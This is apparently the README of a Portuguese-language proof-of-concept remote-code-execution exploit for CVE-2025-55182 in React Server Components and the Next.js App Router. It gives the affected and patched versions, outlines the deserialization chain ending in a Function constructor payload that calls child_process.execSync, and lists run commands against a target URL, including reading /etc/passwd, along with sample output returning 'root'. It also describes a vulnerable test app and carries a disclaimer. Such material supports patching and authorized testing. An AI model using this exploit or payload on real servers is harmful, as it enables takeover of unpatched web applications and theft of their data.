
Prova de Conceito RCE para CVE‑2025‑55182 explorando o protocolo React Flight no Next.js App Router.
| Next.js | React |
|---|
| 14.3.0-canary.77 a 15.0.4 | 19.0.0 |
| 15.1.1-canary.0 a 15.1.8 | 19.1.0 |
| 15.2.0-canary.0 a 15.2.5 | 19.1.1 |
| 15.3.0-canary.0 a 15.3.5 | 19.2.0 |
| 15.4.0-canary.0 a 15.4.7 | |
| 15.5.1-canary.0 a 15.5.6 | |
| 16.0.0-canary.0 a 16.0.6 |
| Next.js |
|---|
| 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+ |
$@ para obter uma referência bruta de Chunk.then com Chunk.prototype.then via $1:__proto__:thenstatus como resolved_model para acionar initializeModelChunk$B1337 para acionar a desserialização de Blob_formData.get para o construtor Function_prefix contém o código JS a ser executadoO código é avaliado por meio de:
Function("throw new Error(require('child_process').execSync('COMMAND').toString());//1337")
pip install -r requirements.txt
python cve_2025_55182_poc.py https://target.com --check-only
# Default command (id)
python cve_2025_55182_poc.py https://target.com
# Custom command
python cve_2025_55182_poc.py https://target.com -c "whoami"
python cve_2025_55182_poc.py https://target.com -c "cat /etc/passwd"
python cve_2025_55182_poc.py https://target.com -c "dir C:\\"
| Opção | Descrição |
|---|---|
url | URL do alvo (obrigatório) |
-c, --command | Comando a ser executado (padrão: id) |
--check-only | Apenas verificar vulnerabilidade |
-t, --timeout | Tempo limite em segundos (padrão: 15) |
-v, --verbose | Saída detalhada |
--raw | Mostrar resposta bruta |
cd vulnerable-app
npm install
npm run dev
# Server at http://localhost:3000
+======================================================================+
| CVE-2025-55182 - React Server Components RCE |
| React Flight Protocol Deserialization Vulnerability |
+======================================================================+
[*] Affected: React 19.0.0-19.2.0 / Next.js 14.3-16.0.6
[*] CVSS Score: 10.0 (CRITICAL)
[*] Author: rl0x01
[*] Target: http://localhost:3000
[*] Timeout: 15s
[1/2] Checking vulnerability...
[+] VULNERABLE! RCE Confirmed - Output received
[2/2] Executing command: whoami
[+] Payload sent!
============================================================
RESULT: whoami
============================================================
root
============================================================
CVE-2025-55182/
├── cve_2025_55182_poc.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # Documentation
└── vulnerable-app/ # Vulnerable Next.js app for testing
├── package.json
├── next.config.js
└── app/
├── layout.js
├── page.js
└── actions.js
⚠️ Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados.
O uso não autorizado desta ferramenta contra sistemas que você não possui ou sem permissão explícita para testar é ilegal.